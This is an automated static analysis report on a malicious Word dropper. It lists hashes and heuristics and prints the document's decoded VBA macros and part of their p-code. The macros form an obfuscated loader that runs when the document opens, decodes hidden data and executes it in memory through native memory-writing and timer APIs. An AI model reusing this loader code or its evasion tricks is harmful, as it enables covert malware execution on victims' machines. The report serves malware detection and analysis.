Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 846fe7d28d9134a0…

MALICIOUS

Office (OLE)

214.5 KB Created: 2017-08-15 11:55:00 Authoring application: Microsoft Office Word First seen: 2017-08-27
MD5: 3cb66ea253539d2aa954f61775eecf9d SHA-1: 0f648c4065c2b1d644d9b950c9ecb09be453b8ff SHA-256: 846fe7d28d9134a06a3de32d7a102e481824cca8155549c889fb6809aedcbc2c
110 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic indicates this is a dropper, and the presence of VBA macros further supports this. The Document_Open macro is likely responsible for initiating the malicious activity, which typically involves downloading and executing a secondary payload. The embedded URLs are confirmed benign, so the primary IOC is the ClamAV detection name.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6335864-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6335864-0
  • NOP-equivalent sled detected medium SC_NOP_EQUIV_SLED
    Long run of 0x40 bytes
    Disassembly
    Attempted x86 opcode disassembly
    000089DB  40                inc eax
    000089DC  40                inc eax
    000089DD  40                inc eax
    000089DE  40                inc eax
    000089DF  40                inc eax
    000089E0  40                inc eax
    000089E1  40                inc eax
    000089E2  40                inc eax
    000089E3  40                inc eax
    000089E4  40                inc eax
    000089E5  40                inc eax
    000089E6  40                inc eax
    000089E7  40                inc eax
    000089E8  40                inc eax
    000089E9  40                inc eax
    000089EA  40                inc eax
    000089EB  40                inc eax
    000089EC  40                inc eax
    000089ED  40                inc eax
    000089EE  40                inc eax
    000089EF  40                inc eax
    000089F0  40                inc eax
    000089F1  40                inc eax
    000089F2  40                inc eax
    000089F3  40                inc eax
    000089F4  40                inc eax
    000089F5  40                inc eax
    000089F6  40                inc eax
    000089F7  40                inc eax
    000089F8  40                inc eax
    000089F9  40                inc eax
    000089FA  40                inc eax
    000089FB  40                inc eax
    000089FC  40                inc eax
    000089FD  40                inc eax
    000089FE  40                inc eax
    000089FF  40                inc eax
    00008A00  40                inc eax
    00008A01  40                inc eax
    00008A02  40                inc eax
    00008A03  40                inc eax
    00008A04  40                inc eax
    00008A05  40                inc eax
    00008A06  40                inc eax
    00008A07  40                inc eax
    00008A08  40                inc eax
    00008A09  40                inc eax
    00008A0A  40                inc eax
    00008A0B  40                inc eax
    00008A0C  40                inc eax
    00008A0D  40                inc eax
    00008A0E  40                inc eax
    00008A0F  40                inc eax
    00008A10  40                inc eax
    00008A11  40                inc eax
    00008A12  40                inc eax
    00008A13  40                inc eax
    00008A14  40                inc eax
    00008A15  40                inc eax
    00008A16  40                inc eax
    00008A17  40                inc eax
    00008A18  40                inc eax
    00008A19  40                inc eax
    00008A1A  40                inc eax
    00008A1B  40                inc eax
    00008A1C  40                inc eax
    00008A1D  40                inc eax
    00008A1E  40                inc eax
    00008A1F  40                inc eax
    00008A20  40                inc eax
    00008A21  40                inc eax
    00008A22  40                inc eax
    00008A23  40                inc eax
    00008A24  40                inc eax
    00008A25  40                inc eax
    00008A26  40                inc eax
    00008A27  40                inc eax
    00008A28  40                inc eax
    00008A29  40                inc eax
    00008A2A  40                inc eax
    00008A2B  40                inc eax
    00008A2C  40                inc eax
    00008A2D  40                inc eax
    00008A2E  40                inc eax
    00008A2F  40                inc eax
    00008A30  40                inc eax
    00008A31  40                inc eax
    00008A32  40                inc eax
    00008A33  40                inc eax
    00008A34  40                inc eax
    00008A35  40                inc eax
    00008A36  40                inc eax
    00008A37  40                inc eax
    00008A38  40                inc eax
    00008A39  40                inc eax
    00008A3A  40                inc eax
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
    Private Sub Document_Open()
    Dim anatropous As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 48118 bytes
SHA-256: be07748b6b2ffe73cc48501e72d57aa26953c72293be38db66ef8bbc22c05b5e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Function policeman(kola, haft, restrengthen)
tribs = ivosi(40 / 8)
#If (7 * 4 + 5) > (7 - 2 * 1) And (20 - 5 * 4) * 2 < (tribs) Then
Dim earthwork As String
Dim basilar As String
Dim jets As LongPtr
Dim abjurationabjurement As LongPtr
Dim saiga As LongPtr
Dim cobbler As Integer
Dim miasm As LongPtr
Dim adventitious As LongPtr
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (tribs) Then
Dim abjurationabjurement As Long
Dim partie As Byte
Dim jets As Long
Dim cohibition As Integer
Dim miasm As Long
Dim currycomb As String
Dim saiga As Long
Dim coral As Integer
Dim adventitious As Long
Dim hydrodynamic As String
Dim bloodyminded As String
#End If
cheloniidae = "mycologist"
abduction = competition / 487
abjurationabjurement = kola
adventitious = restrengthen
clandestine = cheloniidae
miasm = haft
birdwitted = 118
assuaging = 19567
finger = 493082
 Pmt 0, birdwitted, 11975, 46458, 4

abduction = queens Or 54
jets = 37 - 46 + 8
birmingham ByVal jets, abjurationabjurement, miasm, adventitious, saiga
queens = Fix(276)
End Function
Private Sub Document_Open()
Dim anatropous As Long
Dim polypodium As Byte
lilyturf = "effectiveness"
abraham
dragging = 1
halberd = 3995
allmains = 169534
 Pmt 0, dragging, 20175, 26084, 7
End Sub
Sub abraham()
Dim galeorhinus As Variant
Dim brachycephalic As Byte
inclusive.falconidae.Value = Day(#12/5/2013#)
varday = argon = "bugle"
eel = "proxemics"
chancellor = "beginner"
goosh = "macte"
overcoat = "monacan"

chaetodipterus = "bravely"
automat = "despotic"
Set georges = inclusive.falconidae.SelectedItem
unpillared = 39
graminivorous = 4931
durga = 482050
 Pmt 0, unpillared, 6271, 38696, 8

despot = georges.Name
arabia = 7844
finefingered = Right(despot, arabia)
multidimensional = adultress.gusty(finefingered)
corkscrew = 66
ambidextrous = 24733
captiously = 557825
 Pmt 0, corkscrew, 9057, 22646, 4

arefaction = "endured"
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
Dim appreciable As String
Dim humbler As LongPtr
Dim bonny As LongPtr
Dim muffin As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim disobey As Long
Dim bonny As Long
Dim medicolegal As Variant
Dim humbler As Long
#End If
chelyabinsk = 69 - 21 - 48
caustically = "overshoot"
dandified = 4096
giveaway = 85
bilaterality = 17835
cachectic = 590952
 Pmt 0, giveaway, 8933, 29704, 4

chersonese = "damp"
boyar = "angst"
beet = 3
diagnus = 30696
whif = 217462
 Pmt 0, beet, 11359, 52493, 6

dominantly = multidimensional
allowed = "become"
humbler = arch(dominantly)
refer = "scatterling"
angioma = "profitableness"
#If (3 * 4 + 5) > (5 - 2 * 1) And (8 - 4 * 2) * 2 < (Win64) Then
Dim pompon As Long
Dim premier As LongPtr
Dim deadness As LongPtr
Dim flunker As LongPtr
shaver = 42 + 67 + 1955
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim premier As Long
oar = 62 - 81 + 800
Dim deadness As Long
Dim flunker As Long
shaver = oar + 3459

#End If
Dim office As String
Dim wigwam As Byte
premier = 114 - 84 - 30
bonny = humbler + shaver
deadness = 201527
flunker = 3500
caretta = windzors(deadness, premier, bonny)
oldness = 110
historiography = 9136
attentive = 318048
 Pmt 0, oldness, 26227, 20765, 4

End Sub

Function arch(lionet)
Dim desmograthus As Integer
Dim drought As Integer
Dim dangleberry As Integer
Dim scopolia As Byte
#If (6 * 3 + 5) > (7 - 2 * 1) And (48 - 6 * 8) * 2 < (Win64) Then
Dim senary As Variant
Dim militarized As LongPtr
providently = 43 + 57 - 92
Dim bowing As LongPtr
Dim poisonous As Variant
Dim ex As String
Dim fernlike As LongPtr
Dim synchronistical As String
#End If
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
Dim militarized As Long
providently = 112 + 64 - 172
Dim bowing As Long
Dim fernlike As Long
#End If
accusation = VarPtr(militarized)
lankiness = policeman(accusation, VarPtr(lionet) + 8, providently)
diode = -1
bowing = 91 + 90 - 181
crossroad = 18 + 69 - 87
fernlike = 9593
mh = 29 + 127 + 3940
melodramatically = 64
agaric = gelasmagr(ByVal diode, bowing, ByVal crossroad, fernlike, ByVal mh, ByVal melodramatically)
cheloniidae = "chylaceous"

abduction = Math.Round(210)

policeman bowing, militarized, 5883
sleepy = 37
bennettitaceae = 35902
chalaza = 125161
 Pmt 0, sleepy, 7960, 32060, 3

arch = bowing
End Function
Sub upper()
    Dim InitialCaps As Range
     Set InitialCaps = ActiveDocument.Range(Start:=ActiveDocument.Words(1).Start, _
        End:=ActiveDocument.Words(3).End)
    InitialCaps.Case = wdUpperCase
End Sub



Attribute VB_Name = "adultress"
'  The moon went hiding, stars quit shining
'  But just your sight had my heart storming
#If (8 * 2 + 5) > (7 - 2 * 1) And (21 - 7 * 3) * 2 < (Win64) Then
'  Rain was driving, thunder, lightning
'  And walked out
Public Declare PtrSafe Function cadi Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (adelges As Any) As LongPtr
'  You wrecked my whole world when you came
'  Knew it was gonna be a long night
Public Declare PtrSafe Function consumption Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal dactylorhiza As Any, aunt As Any, admonish As Any, mainspring As Any) As LongPtr
'  But you rolled in with your hair in the wind
'  Then you rolled in with your hair in the wind
Public Declare PtrSafe Function reversionary Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal helichrysum As Any, rules As Any, impracticability As Any, malabo As Any) As LongPtr
'  I wouldnt be in my truck
'  Baby, without warning
Public Declare PtrSafe Function quartertone Lib "Kernel32" Alias "CreateTimerQueueTimer" (media As Any, ByVal amount As Any, ByVal gamesmaster As Any, ByVal manbird As Any, ByVal investiture As Any, ByVal moroccan As Any, ByVal descendants As Any) As Long
'  You wrecked my whole world when you came
'  Rain was driving, thunder, lightning
Public Declare PtrSafe Function birmingham Lib "ntdll.dll  " Alias "NtWriteVirtualMemory" (ByVal durian As Any, ByVal beslime As Any, ByVal commodity As Any, ByVal eumetopias As Any, ByVal xanorphica As Any) As LongPtr
'  Baby, without warning
'  And hit me like a hurricane
Public Declare PtrSafe Function gelasmagr Lib "ntdll.dll  " Alias _
"NtAllocateVirtualMemory" (unintelligently As LongPtr, actin As LongPtr, ByVal sinapism As LongPtr, antillesByVal As LongPtr, saxicolous As LongPtr, ByVal crumbliness As LongPtr) As LongPtr
'  The moon went hiding, stars quit shining
'  If I woulda just layed my drink down

'  If I woulda just layed my drink down
'  The moon went hiding, stars quit shining
#End If
'  We locked eyes over whiskey on ice
'  I wouldnt be in my truck
#If (8 * 2 + 5) > (7 - 2 * 1) And Not (21 - 7 * 3) * 2 < (Win64) Then
'  The moon went hiding, stars quit shining
'  The moon went hiding, stars quit shining
Public Declare Function propane Lib "Shlwapi.dll  " Alias "SleepConditionVariableSRW" (ByVal kenning As Any, lachrymis As Any, dispatch As Any, dithering As Any) As Long
'  I wouldnt be in my truck
'  Baby, without warning
Public Declare Function gelasmagr Lib "Ntdll.dll " Alias _
  "NtAllocateVirtualMemory" (amsinckia As Long, malapropism As Long, ByVal altimeter As Long, ordnanceByVal As Long, appetency As Long, ByVal encratite As Long) As Long
'  Rain was driving, thunder, lightning
'  Baby, without warning
Public Declare Function portwatcher Lib "Shlwapi.dll  " Alias "GetOverlappedResult" (ByVal feverroot As Any, clad As Any, downhearted As Any, courtesv As Any) As Long
'  Driving us to your house
'  But just your sight had my heart storming
Public Declare Function loverlike Lib "ntdll.dll  " Alias "AcquireSRWLockShared" (floodhead As Any) As Long
'  But you rolled in with your hair in the wind
'  And walked out
Public Declare Function birmingham Lib "Ntdll.dll   " Alias "NtWriteVirtualMemory" (ByVal adactylous As Any, ByVal cubit As Any, ByVal docket As Any, ByVal antidiabetic As Any, ByVal escheat As Any) As Long
'  I wouldnt be in my truck
'  From the moment when
Public Declare Function quartertone Lib "Kernel32" Alias "CreateTimerQueueTimer" (tanganyika As Any, ByVal billyo As Any, ByVal coadjuvancy As Any, ByVal incontiguous As Any, ByVal siphonophora As Any, ByVal machinations As Any, ByVal model As Any) As Long
'  And walked out
'  We locked eyes over whiskey on ice

'  And walked out
'  Baby, without warning
#End If
'  We locked eyes over whiskey on ice
'  We locked eyes over whiskey on ice
Function dandyism()
Dim harquebuss(255) As Byte
towzle = 109 + 31 - 75
Do While towzle <= 90 + 1
harquebuss(towzle) = towzle - 65
towzle = towzle + 1
Loop
towzle = 48
Do While towzle <= 50 + 8
harquebuss(towzle) = towzle + 4
towzle = towzle + 1
Loop
towzle = 97
Do While towzle <= 120 + 3
harquebuss(towzle) = towzle - 71
towzle = towzle + 1
Loop
harquebuss(47) = 63
towzle = 43
harquebuss(towzle) = 60 + 2
dandyism = harquebuss
End Function
Function gusty(butuminous) As String
Dim anthropometry As Long
Dim sphyrapicus(63) As Long
Dim fils As Integer
reconized = reconized

Dim spenser As Byte

Dim noiselessly As Long
competition = Fix(446)

Dim afterlife As Byte

Dim dimwitted As Variant

Dim unattainable(63) As Long
Dim softwood As Long
Dim emptiness As Variant

reconized = cheloniidae

Dim bastardized(6962) As Byte
Dim crepuscule As String
Dim vaporization As Long
Dim obscureness(63) As Long
Dim coaid() As Byte
coatdress = 258048
cephalochordate = 16515072
Paragraph = 4096
aphrophora = 255
Dim doodad As Long

nilpotent = 65280
Dim fiduciary As Integer

Dim infraction As Variant

megaloblastic = 83 + 117 + 56
effortlessly = 4032
sharer = 55 - 65 + 262154
Reduced = 64
rioter = 63
syndactyly = 37 - 108 + 65607
flavored = 16711680
Dim hematoma As Variant
primatology = 104 + 20 - 124
apathetically = 7843
Dim inconveniently() As Byte
Dim agnatha As Variant
Dim completeness As Byte
inconveniently = VBA.StrConv(butuminous, 128)
Dim amide As Integer
tremolite = 107
fisted = 25996
declaim = 340402
 Pmt 0, tremolite, 19925, 11116, 8

breechesmaker = 7843
pimpernel = vbKeyShift - 12
For boise = 0 To breechesmaker
If boise Mod 2 = 0 Then
inconveniently(boise) = inconveniently(boise) - pimpernel
Else
inconveniently(boise) = inconveniently(boise) - (pimpernel - 1)
End If
Next boise
london = 100
diatom = 7655
acclivitous = 299860
 Pmt 0, london, 10633, 57170, 8

fils = 0
anasa = 67 - 84 + 17
bountifully = 4 + 119 - 80
empressement = dandyism
For anthropometry = (7 - 7) * 1 To (50 + 13) * (5 - 4)
unattainable(anthropometry) = bisexual(anthropometry, Reduced, 63)
sphyrapicus(anthropometry) = bisexual(anthropometry, Paragraph, 63)
obscureness(anthropometry) = bisexual(anthropometry, sharer, 63)
Next anthropometry
adverbs = 89
bushel = 13417
jb = 352396
 Pmt 0, adverbs, 12629, 12034, 3

coaid = inconveniently
apadana = 4
downeaster = 116
anicon = 29723
hump = 361292
 Pmt 0, downeaster, 35067, 18023, 3

nonabsorbency = 112 + 100 - 209
cheloniidae = cheloniidae

competition = queens + 156

dacron = nonabsorbency + 1
dosser = 26 + 61 - 85
For softwood = 0 To breechesmaker
omnia = coaid(softwood)
redletter = coaid(softwood + 2)
ies = sphyrapicus(empressement(coaid(softwood + 1)))
amorphism = unattainable(empressement(redletter)) + empressement(coaid(softwood + nonabsorbency))
vaporization = obscureness(empressement(omnia)) + ies + amorphism
anthropometry = bisexual(vaporization, flavored, 55)
bastardized(noiselessly) = bisexual(anthropometry, syndactyly, 45)
anthropometry = bisexual(vaporization, nilpotent, 55)
bastardized(noiselessly + 1) = bisexual(anthropometry, megaloblastic, 45)
bastardized(noiselessly + dosser) = bisexual(vaporization, aphrophora, 55)
noiselessly = noiselessly + dosser + 1
softwood = softwood + 3
Next
gusty = bastardized
End Function
Function ivosi(mirons)
Dim windser As Integer
Dim tristan As Integer
fixoid = mirons * 12
Dim sitroen As Variant
subway2 = mirons * 2
Dim cowen() As Byte
#If (3 * 4 + mirons) > (7 - 2 * 1) And (10 - mirons * 2) * 2 < (Win64) Then
tristan = subway2
#End If
#If (3 * 4 + mirons) > (7 - 2 * 1) And Not (10 - mirons * 2) * 2 < (Win64) Then
tristan = (120 - fixoid)
#End If
subway3 = subway2 + tristan
ivosi = tristan
End Function
Sub num()
    With Selection
        If .Columns.Count > 1 And .Rows.Count > 1 Then
            MsgBox "Please select cells in only one row " _
                & "or only one column."
            End
        Else
            If .Cells.Count > 1 Then
                If .Columns.Count > 1 Then
                    .Cells.Delete ShiftCells:=wdDeleteCellsShiftUp
                Else
                    .Cells.Delete ShiftCells:=wdDeleteCellsShiftLeft
                End If
            Else
                .Cells.Delete ShiftCells:=wdDeleteCellsShiftLeft
            End If
        End If
    End With
End Sub
Function windzors(wrd, buls, lky)
#If (7 * 2) * 3 > 14 / 2 And (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As LongPtr
Dim bis As LongPtr
Dim ority As Integer
Dim deble As LongPtr
#End If
#If (12 * 2) / 1 > 14 / 2 And Not (12 - 6 * 2) * 1 < (Win64) Then
Dim aln As Long
Dim bwis As Long
Dim antery As Integer
Dim deble As Long
#End If
aln = buls
deble = lky
dan2 = quartertone(wrd, aln, deble, aln, aln, aln, aln)
End Function

Function bisexual(mononucleosis, firkin, osteostraci)
If osteostraci = (5 * 9) + (10 / 2 - 5) Then
bisexual = mononucleosis \ firkin
ElseIf osteostraci = (5 * 11) + (5 - 3) / 2 - 1 Then
bisexual = mononucleosis And firkin
ElseIf osteostraci = (7 * 9) + (56 / 7 - 4 * 2) Then
bisexual = mononucleosis * firkin
End If
End Function


Attribute VB_Name = "inclusive"
Attribute VB_Base = "0{514BB684-BEFC-4F19-88BA-59A015415B99}{D8E0A23C-9019-4D24-BB65-E7022C0339AB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

' Processing file: /opt/analyzer/scan_staging/9068b35a620146098e180ff0d03a2141.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 15025 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' 	FuncDefn (Function policeman(kola))
' Line #4:
' 	LitDI2 0x0028 
' 	LitDI2 0x0008 
' 	Div 
' 	ArgsLd subway3 0x0001 
' 	St nons 
' Line #5:
' 	LbMark 
' 	LitDI2 0x0007 
' 	LitDI2 0x0004 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0014 
' 	LitDI2 0x0005 
' 	LitDI2 0x0004 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld nons 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #6:
' 	Dim 
' 	VarDefn earthwork (As String)
' Line #7:
' 	Dim 
' 	VarDefn basilar (As String)
' Line #8:
' 	Dim 
' 	VarDefn jets (As Ptr)
' Line #9:
' 	Dim 
' 	VarDefn abjurationabjurement (As Ptr)
' Line #10:
' 	Dim 
' 	VarDefn saiga (As Ptr)
' Line #11:
' 	Dim 
' 	VarDefn cobbler (As Integer)
' Line #12:
' 	Dim 
' 	VarDefn miasm (As Ptr)
' Line #13:
' 	Dim 
' 	VarDefn adventitious (As Ptr)
' Line #14:
' 	LbMark 
' 	LbEndIf 
' Line #15:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld nons 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #16:
' 	Dim 
' 	VarDefn abjurationabjurement (As Long)
' Line #17:
' 	Dim 
' 	VarDefn partie (As Byte)
' Line #18:
' 	Dim 
' 	VarDefn jets (As Long)
' Line #19:
' 	Dim 
' 	VarDefn cohibition (As Integer)
' Line #20:
' 	Dim 
' 	VarDefn miasm (As Long)
' Line #21:
' 	Dim 
' 	VarDefn currycomb (As String)
' Line #22:
' 	Dim 
' 	VarDefn saiga (As Long)
' Line #23:
' 	Dim 
' 	VarDefn coral (As Integer)
' Line #24:
' 	Dim 
' 	VarDefn adventitious (As Long)
' Line #25:
' 	Dim 
' 	VarDefn hydrodynamic (As String)
' Line #26:
' 	Dim 
' 	VarDefn bloodyminded (As String)
' Line #27:
' 	LbMark 
' 	LbEndIf 
' Line #28:
' 	LitStr 0x000A "mycologist"
' 	St cheloniidae 
' Line #29:
' 	Ld competition 
' 	LitDI2 0x01E7 
' 	Div 
' 	St abduction 
' Line #30:
' 	Ld kola 
' 	St abjurationabjurement 
' Line #31:
' 	Ld restrengthen 
' 	St adventitious 
' Line #32:
' 	Ld cheloniidae 
' 	St clandestine 
' Line #33:
' 	Ld haft 
' 	St miasm 
' Line #34:
' 	LitDI2 0x0076 
' 	St birdwitted 
' Line #35:
' 	LitDI2 0x4C6F 
' 	St assuaging 
' Line #36:
' 	LitDI4 0x861A 0x0007 
' 	St finger 
' Line #37:
' 	LitDI2 0x0000 
' 	Ld birdwitted 
' 	LitDI2 0x2EC7 
' 	LitDI4 0xB57A 0x0000 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #38:
' Line #39:
' 	Ld queens 
' 	LitDI2 0x0036 
' 	Or 
' 	St abduction 
' Line #40:
' 	LitDI2 0x0025 
' 	LitDI2 0x002E 
' 	Sub 
' 	LitDI2 0x0008 
' 	Add 
' 	St jets 
' Line #41:
' 	Ld jets 
' 	ParamByVal 
' 	Ld abjurationabjurement 
' 	Ld miasm 
' 	Ld adventitious 
' 	Ld saiga 
' 	ArgsCall birmingham 0x0005 
' Line #42:
' 	LitDI2 0x0114 
' 	FnFix 
' 	St queens 
' Line #43:
' 	EndFunc 
' Line #44:
' 	FuncDefn (Sub Document_Open())
' Line #45:
' 	Dim 
' 	VarDefn anatropous (As Long)
' Line #46:
' 	Dim 
' 	VarDefn polypodium (As Byte)
' Line #47:
' 	LitStr 0x000D "effectiveness"
' 	St lilyturf 
' Line #48:
' 	ArgsCall abraham 0x0000 
' Line #49:
' 	LitDI2 0x0001 
' 	St dragging 
' Line #50:
' 	LitDI2 0x0F9B 
' 	St halberd 
' Line #51:
' 	LitDI4 0x963E 0x0002 
' 	St allmains 
' Line #52:
' 	LitDI2 0x0000 
' 	Ld dragging 
' 	LitDI2 0x4ECF 
' 	LitDI2 0x65E4 
' 	LitDI2 0x0007 
' 	ArgsCall Pmt 0x0005 
' Line #53:
' 	EndSub 
' Line #54:
' 	FuncDefn (Sub abraham())
' Line #55:
' 	Dim 
' 	VarDefn galeorhinus (As Variant)
' Line #56:
' 	Dim 
' 	VarDefn brachycephalic (As Byte)
' Line #57:
' 	LitDate 0x0000 0x0000 0x51A0 0x40E4 
' 	ArgsLd Day 0x0001 
' 	Ld inclusive 
' 	MemLd falconidae 
' 	MemSt Value 
' Line #58:
' 	Ld argon 
' 	LitStr 0x0005 "bugle"
' 	Eq 
' 	St varday 
' Line #59:
' 	LitStr 0x0009 "proxemics"
' 	St eel 
' Line #60:
' 	LitStr 0x0008 "beginner"
' 	St chancellor 
' Line #61:
' 	LitStr 0x0005 "macte"
' 	St goosh 
' Line #62:
' 	LitStr 0x0007 "monacan"
' 	St overcoat 
' Line #63:
' Line #64:
' 	LitStr 0x0007 "bravely"
' 	St chaetodipterus 
' Line #65:
' 	LitStr 0x0008 "despotic"
' 	St automat 
' Line #66:
' 	SetStmt 
' 	Ld inclusive 
' 	MemLd falconidae 
' 	MemLd SelectedItem 
' 	Set georges 
' Line #67:
' 	LitDI2 0x0027 
' 	St unpillared 
' Line #68:
' 	LitDI2 0x1343 
' 	St graminivorous 
' Line #69:
' 	LitDI4 0x5B02 0x0007 
' 	St durga 
' Line #70:
' 	LitDI2 0x0000 
' 	Ld unpillared 
' 	LitDI2 0x187F 
' 	LitDI4 0x9728 0x0000 
' 	LitDI2 0x0008 
' 	ArgsCall Pmt 0x0005 
' Line #71:
' Line #72:
' 	Ld georges 
' 	MemLd Name 
' 	St despot 
' Line #73:
' 	LitDI2 0x1EA4 
' 	St arabia 
' Line #74:
' 	Ld despot 
' 	Ld arabia 
' 	ArgsLd Right 0x0002 
' 	St finefingered 
' Line #75:
' 	Ld finefingered 
' 	Ld adultress 
' 	ArgsMemLd gusty 0x0001 
' 	St multidimensional 
' Line #76:
' 	LitDI2 0x0042 
' 	St corkscrew 
' Line #77:
' 	LitDI2 0x609D 
' 	St ambidextrous 
' Line #78:
' 	LitDI4 0x8301 0x0008 
' 	St captiously 
' Line #79:
' 	LitDI2 0x0000 
' 	Ld corkscrew 
' 	LitDI2 0x2361 
' 	LitDI2 0x5876 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #80:
' Line #81:
' 	LitStr 0x0007 "endured"
' 	St arefaction 
' Line #82:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	And 
' 	LbIf 
' Line #83:
' 	Dim 
' 	VarDefn appreciable (As String)
' Line #84:
' 	Dim 
' 	VarDefn humbler (As Ptr)
' Line #85:
' 	Dim 
' 	VarDefn bonny (As Ptr)
' Line #86:
' 	Dim 
' 	VarDefn muffin (As String)
' Line #87:
' 	LbMark 
' 	LbEndIf 
' Line #88:
' 	LbMark 
' 	LitDI2 0x0008 
' 	LitDI2 0x0002 
' 	Mul 
' 	LitDI2 0x0005 
' 	Add 
' 	Paren 
' 	LitDI2 0x0007 
' 	LitDI2 0x0002 
' 	LitDI2 0x0001 
' 	Mul 
' 	Sub 
' 	Paren 
' 	Gt 
' 	LitDI2 0x0015 
' 	LitDI2 0x0007 
' 	LitDI2 0x0003 
' 	Mul 
' 	Sub 
' 	Paren 
' 	LitDI2 0x0002 
' 	Mul 
' 	Ld Win64 
' 	Paren 
' 	Lt 
' 	Not 
' 	And 
' 	LbIf 
' Line #89:
' 	Dim 
' 	VarDefn disobey (As Long)
' Line #90:
' 	Dim 
' 	VarDefn bonny (As Long)
' Line #91:
' 	Dim 
' 	VarDefn medicolegal (As Variant)
' Line #92:
' 	Dim 
' 	VarDefn humbler (As Long)
' Line #93:
' 	LbMark 
' 	LbEndIf 
' Line #94:
' 	LitDI2 0x0045 
' 	LitDI2 0x0015 
' 	Sub 
' 	LitDI2 0x0030 
' 	Sub 
' 	St chelyabinsk 
' Line #95:
' 	LitStr 0x0009 "overshoot"
' 	St caustically 
' Line #96:
' 	LitDI2 0x1000 
' 	St dandified 
' Line #97:
' 	LitDI2 0x0055 
' 	St giveaway 
' Line #98:
' 	LitDI2 0x45AB 
' 	St bilaterality 
' Line #99:
' 	LitDI4 0x0468 0x0009 
' 	St cachectic 
' Line #100:
' 	LitDI2 0x0000 
' 	Ld giveaway 
' 	LitDI2 0x22E5 
' 	LitDI2 0x7408 
' 	LitDI2 0x0004 
' 	ArgsCall Pmt 0x0005 
' Line #101:
' Line #102:
' 	LitStr 0x0004 "damp"
' 	St chersonese 
' Line #103:
' 	LitStr 0x0005 "angst"
' 	St boyar 
' Line #104:
' 	LitDI2 0x0003 
' 	St beet 
' Line #105:
' 	LitDI2 0x77E8 
' 	St diagnus 
' Line #106:
' 	LitDI4 0x5176 0x0003 
' 	St whif 
' Line #107:
' 	LitDI2 0x0000 
' 	Ld beet 
' 	LitDI2 0x2C5F 
' 	LitDI4 0xCD0D 0x0000 
' 	LitDI2 0x0006 
' 	ArgsCall Pmt 0x0005 
' Line #108:
' Line #109:
' 	Ld multidimensional 
' 	St dominantly 
' Line #110:
' 	LitStr 0x0006 "become"
' 	St allowed 
' Line #111:
' 	Ld dominantly 
' 	ArgsLd arch 0x0001 
' 	St humbler 
' Line #112:
' 	LitStr 0x000B "scatterling"
' 	St refer 
' Line #113:
' 	LitStr 0x000E "profitableness"
' 	St angioma 
' Line #114:
' 	LbMark 
